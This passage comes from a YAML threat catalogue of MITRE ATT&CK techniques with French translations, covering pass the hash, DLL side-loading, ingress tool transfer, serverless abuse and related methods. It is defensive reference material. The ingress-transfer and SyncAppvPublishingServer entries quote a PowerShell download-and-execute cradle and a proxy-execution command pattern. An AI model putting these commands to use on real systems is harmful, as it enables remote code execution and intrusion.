      \ as well as more broad, seasonably popular topics (e.g. elections, trending\
      \ news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nIn addition to internet\
      \ search engines (such as Google), adversaries may also aim to manipulate specific\
      \ in-site searches for developer platforms (such as GitHub) to deceive users\
      \ towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)\
      \ lures. In-site searches will rank search results according to their own algorithms\
      \ and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted\
      \ and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\n\nAdversaries\
      \ may also purchase or plant incoming links to staged capabilities in order\
      \ to boost the site\u2019s calculated relevance and reputation.(Citation: MalwareBytes\
      \ SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined\
      \ with evasive redirects and other cloaking mechanisms (such as measuring mouse\
      \ movements or serving content based on browser user agents, user language/localization\
      \ settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny\
      \ from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)\nhttps://attack.mitre.org/techniques/T1608/006"
    translations:
      fr:
        name: Empoisonnement SEO
        description: "Les adversaires peuvent empoisonner les m\xE9canismes qui influencent\
          \ l\u2019optimisation des moteurs de recherche (SEO) pour attirer davantage\
          \ les capacit\xE9s mises en sc\xE8ne vers des victimes potentielles. Les\
          \ moteurs de recherche affichent g\xE9n\xE9ralement des r\xE9sultats aux\
          \ utilisateurs en fonction des annonces achet\xE9es ainsi que du classement/score/r\xE9\
          putation du site calcul\xE9 par leurs robots d\u2019exploration et algorithmes.\
          \ (Citation : Atlas SEO)(Citation : MalwareBytes SEO)\n\nPour faciliter\
          \ la [compromission intempestive](https://attack.mitre.org/techniques/T1189),\
          \ les adversaires peuvent mettre en sc\xE8ne du contenu qui manipule explicitement\
          \ les classements SEO afin de promouvoir des sites h\xE9bergeant leurs charges\
          \ utiles malveillantes (telles que [Drive-by Target](https://attack.mitre.org/techniques/T1608/004))\
          \ au sein des moteurs de recherche. L\u2019empoisonnement des classements\
          \ SEO peut impliquer diverses astuces, telles que l\u2019insertion de mots-cl\xE9\
          s (y compris sous la forme de texte cach\xE9) dans des sites compromis.\
          \ Ces mots-cl\xE9s peuvent \xEAtre li\xE9s aux centres d\u2019int\xE9r\xEA\
          t ou aux habitudes de navigation de la ou des victimes vis\xE9es, ainsi\
          \ qu\u2019\xE0 des sujets plus larges et saisonniers populaires (par exemple,\
          \ les \xE9lections, les nouvelles tendances). (Citation : ZScaler SEO)(Citation\
          \ : Atlas SEO)\n\nEn plus des moteurs de recherche sur Internet (tels que\
          \ Google), les adversaires peuvent \xE9galement viser \xE0 manipuler des\
          \ recherches sp\xE9cifiques sur site pour des plateformes de d\xE9veloppement\
          \ (telles que GitHub) afin de tromper les utilisateurs en leur faisant croire\
          \ des app\xE2ts [de compromission de la cha\xEEne d\u2019approvisionnement](https://attack.mitre.org/techniques/T1195).\
          \ Les recherches sur site classeront les r\xE9sultats de recherche en fonction\
          \ de leurs propres algorithmes et mesures telles que la popularit\xE9 (Citation\_\
          : Chexmarx-seo) qui peuvent \xEAtre cibl\xE9s et manipul\xE9s par des acteurs\
          \ malveillants. (Citation : Checkmarx-oss-seo)\n\nLes adversaires peuvent\
          \ \xE9galement acheter ou implanter des liens entrants vers des fonctionnalit\xE9\
          s mises en sc\xE8ne afin de renforcer la pertinence et la r\xE9putation\
          \ calcul\xE9es du site. (Citation : MalwareBytes SEO)(Citation : Rapport\
          \ DFIR Gootloader)\n\nL\u2019empoisonnement SEO peut \xE9galement \xEAtre\
          \ combin\xE9 \xE0 des redirections \xE9vasives et \xE0 d\u2019autres m\xE9\
          canismes de camouflage (tels que la mesure des mouvements de la souris ou\
          \ la diffusion de contenu bas\xE9 sur les agents utilisateurs du navigateur,\
          \ les param\xE8tres de langue/localisation de l\u2019utilisateur ou les\
          \ en-t\xEAtes HTTP) afin de fournir des informations SEO tout en \xE9vitant\
          \ l\u2019examen minutieux des d\xE9fenseurs. (Citation : ZScaler SEO)(Citation\
          \ : Sophos Gootloader)\nhttps://attack.mitre.org/techniques/T1608/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1550.002
    ref_id: T1550.002
    name: Pass the Hash
    description: "Adversaries may \u201Cpass the hash\u201D using stolen password\
      \ hashes to move laterally within an environment, bypassing normal system access\
      \ controls. Pass the hash (PtH) is a method of authenticating as a user without\
      \ having access to the user's cleartext password. This method bypasses standard\
      \ authentication steps that require a cleartext password, moving directly into\
      \ the portion of the authentication that uses the password hash.\n\nWhen performing\
      \ PtH, valid password hashes for the account being used are captured using a\
      \ [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured\
      \ hashes are used with PtH to authenticate as that user. Once authenticated,\
      \ PtH may be used to perform actions on local or remote systems.\n\nAdversaries\
      \ may also use stolen password hashes to \"overpass the hash.\" Similar to PtH,\
      \ this involves using a password hash to authenticate as a user but also uses\
      \ the password hash to create a valid Kerberos ticket. This ticket can then\
      \ be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)\
      \ attacks.(Citation: Stealthbits Overpass-the-Hash)\nhttps://attack.mitre.org/techniques/T1550/002"
    translations:
      fr:
        name: Passez le hachage
        description: "Les adversaires peuvent \xAB passer le hachage \xBB \xE0 l\u2019\
          aide de hachages de mots de passe vol\xE9s pour se d\xE9placer lat\xE9ralement\
          \ dans un environnement, en contournant les contr\xF4les d\u2019acc\xE8\
          s normaux au syst\xE8me. Pass the hash (PtH) est une m\xE9thode d\u2019\
          authentification en tant qu\u2019utilisateur sans avoir acc\xE8s au mot\
          \ de passe en clair de l\u2019utilisateur. Cette m\xE9thode contourne les\
          \ \xE9tapes d\u2019authentification standard qui n\xE9cessitent un mot de\
          \ passe en texte clair, en passant directement \xE0 la partie de l\u2019\
          authentification qui utilise le hachage du mot de passe.\n\nLors de l\u2019\
          ex\xE9cution de PtH, les hachages de mot de passe valides pour le compte\
          \ utilis\xE9 sont captur\xE9s \xE0 l\u2019aide d\u2019une technique [Credential\
          \ Access](https://attack.mitre.org/tactics/TA0006). Les hachages captur\xE9\
          s sont utilis\xE9s avec PtH pour s\u2019authentifier en tant qu\u2019utilisateur.\
          \ Une fois authentifi\xE9, le PtH peut \xEAtre utilis\xE9 pour effectuer\
          \ des actions sur des syst\xE8mes locaux ou distants.\n\nLes adversaires\
          \ peuvent \xE9galement utiliser des hachages de mots de passe vol\xE9s pour\
          \ \xAB d\xE9passer le hachage \xBB. \xC0 l\u2019instar de PtH, cela implique\
          \ l\u2019utilisation d\u2019un hachage de mot de passe pour s\u2019authentifier\
          \ en tant qu\u2019utilisateur, mais utilise \xE9galement le hachage de mot\
          \ de passe pour cr\xE9er un ticket Kerberos valide. Ce ticket peut ensuite\
          \ \xEAtre utilis\xE9 pour effectuer des attaques [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).\
          \ (Citation : Stealthbits Overpass-the-Hash)\nhttps://attack.mitre.org/techniques/T1550/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1052
    ref_id: T1052
    name: Exfiltration Over Physical Medium
    description: 'Adversaries may attempt to exfiltrate data via a physical medium,
      such as a removable drive. In certain circumstances, such as an air-gapped network
      compromise, exfiltration could occur via a physical medium or device introduced
      by a user. Such media could be an external hard drive, USB drive, cellular phone,
      MP3 player, or other removable storage and processing device. The physical medium
      or device could be used as the final exfiltration point or to hop between otherwise
      disconnected systems.

      https://attack.mitre.org/techniques/T1052'
    translations:
      fr:
        name: Exfiltration sur support physique
        description: "Les adversaires peuvent tenter d\u2019exfiltrer des donn\xE9\
          es via un support physique, tel qu\u2019un disque amovible. Dans certaines\
          \ circonstances, telles qu\u2019une compromission de r\xE9seau isol\xE9\
          , l\u2019exfiltration peut se produire via un support physique ou un appareil\
          \ introduit par un utilisateur. Il peut s\u2019agir d\u2019un disque dur\
          \ externe, d\u2019une cl\xE9 USB, d\u2019un t\xE9l\xE9phone portable, d\u2019\
          un lecteur MP3 ou d\u2019un autre p\xE9riph\xE9rique de stockage et de traitement\
          \ amovible. Le support physique ou l\u2019appareil pourrait \xEAtre utilis\xE9\
          \ comme point d\u2019exfiltration final ou pour passer d\u2019un syst\xE8\
          me \xE0 un autre.\nhttps://attack.mitre.org/techniques/T1052"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.002
    ref_id: T1574.002
    name: DLL Side-Loading
    description: 'Adversaries may execute their own malicious payloads by side-loading
      DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001),
      side-loading involves hijacking which DLL a program loads. But rather than just
      planting the DLL within the search order of a program then waiting for the victim
      application to be invoked, adversaries may directly side-load their payloads
      by planting then invoking a legitimate application that executes their payload(s).


      Side-loading takes advantage of the DLL search order used by the loader by positioning
      both the victim application and malicious payload(s) alongside each other. Adversaries
      likely use side-loading as a means of masking actions they perform under a legitimate,
      trusted, and potentially elevated system or software process. Benign executables
      used to side-load payloads may not be flagged during delivery and/or execution.
      Adversary payloads may also be encrypted/packed or otherwise obfuscated until
      loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)

      https://attack.mitre.org/techniques/T1574/002'
    translations:
      fr:
        name: "Chargement lat\xE9ral DLL"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en chargeant des DLL de mani\xE8re ind\xE9pendante. \xC0\
          \ l\u2019instar de [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001),\
          \ le chargement lat\xE9ral consiste \xE0 d\xE9tourner la DLL charg\xE9e\
          \ par un programme. Mais plut\xF4t que de simplement placer la DLL dans\
          \ l\u2019ordre de recherche d\u2019un programme puis d\u2019attendre que\
          \ l\u2019application victime soit appel\xE9e, les adversaires peuvent directement\
          \ charger leurs charges utiles en plantant puis en invoquant une application\
          \ l\xE9gitime qui ex\xE9cute leur ou leurs charges utiles.\n\nLe chargement\
          \ lat\xE9ral tire parti de l\u2019ordre de recherche DLL utilis\xE9 par\
          \ le chargeur en positionnant \xE0 la fois l\u2019application victime et\
          \ la ou les charges utiles malveillantes les unes \xE0 c\xF4t\xE9 des autres.\
          \ Les adversaires utilisent probablement le chargement lat\xE9ral comme\
          \ moyen de masquer les actions qu\u2019ils effectuent dans le cadre d\u2019\
          un syst\xE8me ou d\u2019un processus logiciel l\xE9gitime, fiable et potentiellement\
          \ \xE9lev\xE9. Les ex\xE9cutables b\xE9nins utilis\xE9s pour charger lat\xE9\
          ralement des charges utiles ne peuvent pas \xEAtre signal\xE9s lors de la\
          \ livraison et/ou de l\u2019ex\xE9cution. Les charges utiles de l\u2019\
          adversaire peuvent \xE9galement \xEAtre chiffr\xE9es/compress\xE9es ou obscurcies\
          \ jusqu\u2019\xE0 ce qu\u2019elles soient charg\xE9es dans la m\xE9moire\
          \ du processus approuv\xE9. (Citation : FireEye DLL Side-loading)\nhttps://attack.mitre.org/techniques/T1574/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1105
    ref_id: T1105
    name: Ingress Tool Transfer
    description: "Adversaries may transfer tools or other files from an external system\
      \ into a compromised environment. Tools or files may be copied from an external\
      \ adversary-controlled system to the victim network through the command and\
      \ control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095).\
      \ Once present, adversaries may also transfer/spread tools between victim devices\
      \ within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).\
      \ \n\nOn Windows, adversaries may use various utilities to download tools, such\
      \ as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160),\
      \ and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such\
      \ as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>.\
      \ On Linux and macOS systems, a variety of utilities also exist, such as `curl`,\
      \ `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)\n\
      \nAdversaries may also abuse installers and package managers, such as `yum`\
      \ or `winget`, to download tools to victim hosts. Adversaries have also abused\
      \ file application features, such as the Windows `search-ms` protocol handler,\
      \ to deliver malicious files to victims through remote file searches invoked\
      \ by [User Execution](https://attack.mitre.org/techniques/T1204) (typically\
      \ after interacting with [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred\
      \ using various [Web Service](https://attack.mitre.org/techniques/T1102)s as\
      \ well as native or otherwise present tools on the victim system.(Citation:\
      \ PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage\
      \ services that sync between a web-based and an on-premises client, such as\
      \ Dropbox or OneDrive, to transfer files onto victim systems. For example, by\
      \ compromising a cloud account and logging into the service's web portal, an\
      \ adversary may be able to trigger an automatic syncing process that transfers\
      \ the file onto the victim's machine.(Citation: Dropbox Malware Sync)\nhttps://attack.mitre.org/techniques/T1105"
    translations:
      fr:
        name: "Transfert d\u2019outil d\u2019entr\xE9e"
        description: "Les adversaires peuvent transf\xE9rer des outils ou d\u2019\
          autres fichiers d\u2019un syst\xE8me externe vers un environnement compromis.\
          \ Des outils ou des fichiers peuvent \xEAtre copi\xE9s d\u2019un syst\xE8\
          me externe contr\xF4l\xE9 par l\u2019adversaire vers le r\xE9seau victime\
          \ via le canal de commande et de contr\xF4le ou via d\u2019autres protocoles\
          \ tels que [ftp](https://attack.mitre.org/software/S0095). Une fois pr\xE9\
          sents, les adversaires peuvent \xE9galement transf\xE9rer/disperser des\
          \ outils entre les appareils de la victime dans un environnement compromis\
          \ (c\u2019est-\xE0-dire [transfert lat\xE9ral d\u2019outils](https://attack.mitre.org/techniques/T1570)).\
          \ \n\nSous Windows, les adversaires peuvent utiliser divers utilitaires\
          \ pour t\xE9l\xE9charger des outils, tels que 'copy', 'finger', [certutil](https://attack.mitre.org/software/S0160)\
          \ et des commandes [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ telles que <code>IEX(New-Object Net.WebClient).downloadString()</code>\
          \ et <code>Invoke-WebRequest</code>. Sur les syst\xE8mes Linux et macOS,\
          \ il existe \xE9galement une vari\xE9t\xE9 d\u2019utilitaires, tels que\
          \ 'curl', 'scp', 'sftp', 'tftp', 'rsync', 'finger' et 'wget'. (R\xE9f\xE9\
          rence : t1105_lolbas)\n\nLes adversaires peuvent \xE9galement abuser des\
          \ installateurs et des gestionnaires de paquets, tels que 'yum' ou 'winget',\
          \ pour t\xE9l\xE9charger des outils sur les h\xF4tes victimes. Les adversaires\
          \ ont \xE9galement abus\xE9 des fonctionnalit\xE9s d\u2019application de\
          \ fichiers, telles que le gestionnaire de protocole Windows \xAB search-ms\
          \ \xBB, pour fournir des fichiers malveillants aux victimes par le biais\
          \ de recherches de fichiers \xE0 distance appel\xE9es par [User Execution](https://attack.mitre.org/techniques/T1204)\
          \ (g\xE9n\xE9ralement apr\xE8s avoir interagi avec des leurres [Phishing](https://attack.mitre.org/techniques/T1566).\
          \ (R\xE9f\xE9rence : T1105 : Trellix_search-ms)\n\nLes fichiers peuvent\
          \ \xE9galement \xEAtre transf\xE9r\xE9s \xE0 l\u2019aide de divers [Web\
          \ Service](https://attack.mitre.org/techniques/T1102) ainsi que d\u2019\
          outils natifs ou autrement pr\xE9sents sur le syst\xE8me victime. (Citation\
          \ : PTSecurity Cobalt d\xE9cembre 2016) Dans certains cas, les adversaires\
          \ peuvent \xEAtre en mesure d\u2019exploiter des services de synchronisation\
          \ entre un client Web et un client sur site, tels que Dropbox ou OneDrive,\
          \ pour transf\xE9rer des fichiers sur les syst\xE8mes victimes. Par exemple,\
          \ en compromettant un compte cloud et en se connectant au portail Web du\
          \ service, un adversaire peut \xEAtre en mesure de d\xE9clencher un processus\
          \ de synchronisation automatique qui transf\xE8re le fichier sur l\u2019\
          ordinateur de la victime. (Citation : Synchronisation des logiciels malveillants\
          \ Dropbox)\nhttps://attack.mitre.org/techniques/T1105"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1216.002
    ref_id: T1216.002
    name: SyncAppvPublishingServer
    description: "Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution\
      \ of malicious [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.\
      \ SyncAppvPublishingServer.vbs is a Visual Basic script associated with how\
      \ Windows virtualizes applications (Microsoft Application Virtualization, or\
      \ App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications\
      \ to users as virtual applications, allowing users to launch and interact with\
      \ them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 -\
      \ appv)\n    \nThe SyncAppvPublishingServer.vbs script is legitimate, may be\
      \ signed by Microsoft, and is commonly executed from `\\System32` through the\
      \ command line via `wscript.exe`.(Citation: 4 - appv)(Citation: 5 - appv)\n\n\
      Adversaries may abuse SyncAppvPublishingServer.vbs to bypass [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ execution restrictions and evade defensive counter measures by \"living off\
      \ the land.\"(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may\
      \ function as a trusted/signed alternative to directly invoking `powershell.exe`.(Citation:\
      \ 7 - appv)\n\nFor example,  [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ commands may be invoked using:(Citation: 5 - appv)\n\n`SyncAppvPublishingServer.vbs\
      \ \"n; {PowerShell}\"`\nhttps://attack.mitre.org/techniques/T1216/002"
    translations:
      fr:
        name: SyncAppvPublishingServer
        description: "Les adversaires peuvent abuser de SyncAppvPublishingServer.vbs\
          \ pour ex\xE9cuter par proxy des commandes [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ malveillantes. SyncAppvPublishingServer.vbs est un script Visual Basic\
          \ associ\xE9 \xE0 la fa\xE7on dont Windows virtualise les applications (Microsoft\
          \ Application Virtualization, ou App-V). (Citation : 1 - appv) Par exemple,\
          \ Windows peut afficher des applications Win32 aux utilisateurs en tant\
          \ qu\u2019applications virtuelles, ce qui permet aux utilisateurs de les\
          \ lancer et d\u2019interagir avec celles-ci comme si elles \xE9taient install\xE9\
          es localement. (Citation : 2 - appv)(Citation : 3 - appv)\n    \nLe script\
          \ SyncAppvPublishingServer.vbs est l\xE9gitime, peut \xEAtre sign\xE9 par\
          \ Microsoft et est g\xE9n\xE9ralement ex\xE9cut\xE9 \xE0 partir de '\\System32'\
          \ via la ligne de commande via 'wscript.exe'. (Citation : 4 - appv)(Citation\
          \ : 5 - appv)\n\nLes adversaires peuvent abuser de SyncAppvPublishingServer.vbs\
          \ pour contourner les restrictions d\u2019ex\xE9cution de [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ et contourner les contre-mesures d\xE9fensives en \xAB vivant de la terre\
          \ \xBB. (Citation : 6 - appv)(Citation : 4 - appv) L\u2019ex\xE9cution par\
          \ proxy peut fonctionner comme une alternative approuv\xE9e/sign\xE9e \xE0\
          \ l\u2019appel direct de \xAB powershell.exe \xBB. (Citation : 7 - appv)\n\
          \nPar exemple, les commandes [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ peuvent \xEAtre invoqu\xE9es \xE0 l\u2019aide de :(Citation : 5 - appv)\n\
          \n'SyncAppvPublishingServer.vbs \"n\_; {PowerShell}\"'\nhttps://attack.mitre.org/techniques/T1216/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.002
    ref_id: T1098.002
    name: Additional Email Delegate Permissions
    description: "Adversaries may grant additional permission levels to maintain persistent\
      \ access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code>\
      \ [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available\
      \ in on-premises Exchange and in the cloud-based service Office 365, adds permissions\
      \ to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye\
      \ APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace,\
      \ delegation can be enabled via the Google Admin console and users can delegate\
      \ accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google\
      \ Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox\
      \ folder permissions through individual folder permissions or roles. In Office\
      \ 365 environments, adversaries may assign the Default or Anonymous user permissions\
      \ or roles to the Top of Information Store (root), Inbox, or other mailbox folders.\
      \ By assigning one or both user permissions to a folder, the adversary can utilize\
      \ any other account in the tenant to maintain persistence to the target user\u2019\
      s mail folders.(Citation: Mandiant Defend UNC2452 White Paper)\n\nThis may be\
      \ used in persistent threat incidents as well as BEC (Business Email Compromise)\
      \ incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)\
      \ to the accounts they wish to compromise. This may further enable use of additional\
      \ techniques for gaining access to systems. For example, compromised business\
      \ accounts are often used to send messages to other accounts in the network\
      \ of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)),\
      \ so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock,\
      \ D. - Defending O365 - 2019)\nhttps://attack.mitre.org/techniques/T1098/002"
    translations:
      fr:
        name: "Autorisations suppl\xE9mentaires de d\xE9l\xE9gu\xE9 d\u2019e-mail"
        description: "Les adversaires peuvent accorder des niveaux d\u2019autorisation\
          \ suppl\xE9mentaires pour maintenir un acc\xE8s persistant \xE0 un compte\
          \ de messagerie contr\xF4l\xE9 par l\u2019adversaire. \n\nPar exemple, l\u2019\
          applet de commande <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
          \ disponible dans Exchange local et dans le service cloud Office 365, ajoute\
          \ des autorisations \xE0 une bo\xEEte aux lettres. (Citation : Microsoft\
          \ - Add-MailboxPermission)(R\xE9f\xE9rence : FireEye APT35 2018)(Citation\
          \ : Crowdstrike se cache \xE0 la vue de tous, 2018) Dans Google Workspace,\
          \ la d\xE9l\xE9gation peut \xEAtre activ\xE9e via la console d\u2019administration\
          \ Google et les utilisateurs peuvent d\xE9l\xE9guer des comptes via leurs\
          \ param\xE8tres Gmail. (Citation : D\xE9l\xE9gation Gmail)(Citation : Google\
          \ s\u2019assure que vos informations sont en s\xE9curit\xE9) \n\nLes adversaires\
          \ peuvent \xE9galement attribuer des autorisations de dossier de bo\xEE\
          te aux lettres par le biais d\u2019autorisations ou de r\xF4les de dossier\
          \ individuel. Dans les environnements Office 365, les adversaires peuvent\
          \ attribuer les autorisations ou les r\xF4les d\u2019utilisateur par d\xE9\
          faut ou anonyme au haut de la banque d\u2019informations (racine), \xE0\
          \ la bo\xEEte de r\xE9ception ou \xE0 d\u2019autres dossiers de bo\xEEte\
          \ aux lettres. En attribuant l\u2019une ou les deux autorisations d\u2019\
          utilisateur \xE0 un dossier, l\u2019adversaire peut utiliser n\u2019importe\
          \ quel autre compte du locataire pour maintenir la persistance dans les\
          \ dossiers de messagerie de l\u2019utilisateur cible. (Citation : Mandiant\
          \ Defend UNC2452 livre blanc)\n\nCela peut \xEAtre utilis\xE9 dans les incidents\
          \ de menaces persistantes ainsi que dans les incidents BEC (Business Email\
          \ Compromise) o\xF9 un adversaire peut ajouter des [R\xF4les Cloud suppl\xE9\
          mentaires](https://attack.mitre.org/techniques/T1098/003) aux comptes qu\u2019\
          il souhaite compromettre. Cela peut permettre l\u2019utilisation de techniques\
          \ suppl\xE9mentaires pour acc\xE9der aux syst\xE8mes. Par exemple, les comptes\
          \ professionnels compromis sont souvent utilis\xE9s pour envoyer des messages\
          \ \xE0 d\u2019autres comptes du r\xE9seau de l\u2019entreprise cible tout\
          \ en cr\xE9ant des r\xE8gles de bo\xEEte de r\xE9ception (ex : [Spearphishing\
          \ interne](https://attack.mitre.org/techniques/T1534)), afin que les messages\
          \ \xE9chappent aux m\xE9canismes de d\xE9tection du spam/hame\xE7onnage.\
          \ (R\xE9f\xE9rence : Bienstock, D. - D\xE9fense de O365 - 2019)\nhttps://attack.mitre.org/techniques/T1098/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.003
    ref_id: T1588.003
    name: Code Signing Certificates
    description: 'Adversaries may buy and/or steal code signing certificates that
      can be used during targeting. Code signing is the process of digitally signing
      executables and scripts to confirm the software author and guarantee that the
      code has not been altered or corrupted. Code signing provides a level of authenticity
      for a program from the developer and a guarantee that the program has not been
      tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools
      may trust a signed piece of code more than an unsigned piece of code even if
      they don''t know who issued the certificate or who the author is.


      Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries
      may purchase or steal code signing certificates for use in operations. The purchase
      of code signing certificates may be done using a front organization or using
      information stolen from a previously compromised entity that allows the adversary
      to validate to a certificate provider as that entity. Adversaries may also steal
      code signing materials directly from a compromised third-party.

      https://attack.mitre.org/techniques/T1588/003'
    translations:
      fr:
        name: Certificats de signature de code
        description: "Les adversaires peuvent acheter et/ou voler des certificats\
          \ de signature de code qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ La signature de code est le processus de signature num\xE9rique d\u2019\
          ex\xE9cutables et de scripts pour confirmer l\u2019auteur du logiciel et\
          \ garantir que le code n\u2019a pas \xE9t\xE9 modifi\xE9 ou corrompu. La\
          \ signature de code fournit un niveau d\u2019authenticit\xE9 pour un programme\
          \ de la part du d\xE9veloppeur et une garantie que le programme n\u2019\
          a pas \xE9t\xE9 alt\xE9r\xE9. (citation : Signature du code Wikip\xE9dia)\
          \ Les utilisateurs et/ou les outils de s\xE9curit\xE9 peuvent faire plus\
          \ confiance \xE0 un morceau de code sign\xE9 qu\u2019\xE0 un morceau de\
          \ code non sign\xE9, m\xEAme s\u2019ils ne savent pas qui a \xE9mis le certificat\
          \ ou qui en est l\u2019auteur.\n\nAvant [Code Signing](https://attack.mitre.org/techniques/T1553/002),\
          \ les adversaires peuvent acheter ou voler des certificats de signature\
          \ de code pour les utiliser dans des op\xE9rations. L\u2019achat de certificats\
          \ de signature de code peut \xEAtre effectu\xE9 \xE0 l\u2019aide d\u2019\
          une organisation de fa\xE7ade ou \xE0 l\u2019aide d\u2019informations vol\xE9\
          es \xE0 une entit\xE9 pr\xE9c\xE9demment compromise qui permettent \xE0\
          \ l\u2019adversaire de valider aupr\xE8s d\u2019un fournisseur de certificats\
          \ en tant qu\u2019entit\xE9 cette entit\xE9. Les adversaires peuvent \xE9\
          galement voler des documents de signature de code directement aupr\xE8s\
          \ d\u2019un tiers compromis.\nhttps://attack.mitre.org/techniques/T1588/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1648
    ref_id: T1648
    name: Serverless Execution
    description: "Adversaries may abuse serverless computing, integration, and automation\
      \ services to execute arbitrary code in cloud environments. Many cloud providers\
      \ offer a variety of serverless resources, including compute engines, application\
      \ integration services, and web servers. \n\nAdversaries may abuse these resources\
      \ in various ways as a means of executing arbitrary commands. For example, adversaries\
      \ may use serverless functions to execute malicious code, such as crypto-mining\
      \ malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation:\
      \ Cado Security Denonia) Adversaries may also create functions that enable further\
      \ compromise of the cloud environment. For example, an adversary may use the\
      \ `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission\
      \ in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)\
      \ to a serverless cloud function, which may then be able to perform actions\
      \ the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation:\
      \ Rhingo Security Labs GCP Privilege Escalation)\n\nServerless functions can\
      \ also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)),\
      \ potentially enabling persistent execution over time. For example, in AWS environments,\
      \ an adversary may create a Lambda function that automatically adds [Additional\
      \ Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user\
      \ and a corresponding CloudWatch events rule that invokes that function whenever\
      \ a new user is created.(Citation: Backdooring an AWS account) This is also\
      \ possible in many cloud-based office application suites. For example, in Microsoft\
      \ 365 environments, an adversary may create a Power Automate workflow that forwards\
      \ all emails a user receives or creates anonymous sharing links whenever a user\
      \ is granted access to a document in SharePoint.(Citation: Varonis Power Automate\
      \ Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace\
      \ environments, they may instead create an Apps Script that exfiltrates a user's\
      \ data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation:\
      \ OWN-CERT Google App Script 2024)\nhttps://attack.mitre.org/techniques/T1648"
    translations:
      fr:
        name: "Ex\xE9cution sans serveur"
        description: "Les adversaires peuvent abuser des services d\u2019informatique,\
          \ d\u2019int\xE9gration et d\u2019automatisation sans serveur pour ex\xE9\
          cuter du code arbitraire dans des environnements cloud. De nombreux fournisseurs\
          \ de cloud offrent une vari\xE9t\xE9 de ressources sans serveur, notamment\
          \ des moteurs de calcul, des services d\u2019int\xE9gration d\u2019applications\
          \ et des serveurs Web. \n\nLes adversaires peuvent abuser de ces ressources\
          \ de diverses mani\xE8res afin d\u2019ex\xE9cuter des commandes arbitraires.\
          \ Par exemple, les adversaires peuvent utiliser des fonctions sans serveur\
          \ pour ex\xE9cuter du code malveillant, tel que des logiciels malveillants\
          \ de minage de cryptomonnaie (c\u2019est-\xE0-dire [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).\
          \ (Citation : Cado Security Denonia) Les adversaires peuvent \xE9galement\
          \ cr\xE9er des fonctions qui permettent de compromettre davantage l\u2019\
          environnement cloud. Par exemple, un adversaire peut utiliser l\u2019autorisation\
          \ \xAB IAM\_:PassRole \xBB dans AWS ou l\u2019autorisation \xAB iam.serviceAccounts.actAs\
          \ \xBB dans Google Cloud pour ajouter [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)\
          \ \xE0 une fonction cloud sans serveur, qui peut ensuite \xEAtre en mesure\
          \ d\u2019effectuer des actions que l\u2019utilisateur d\u2019origine ne\
          \ peut pas effectuer. (Citation : Rhino Security Labs AWS Privilege Escalation)(Citation\
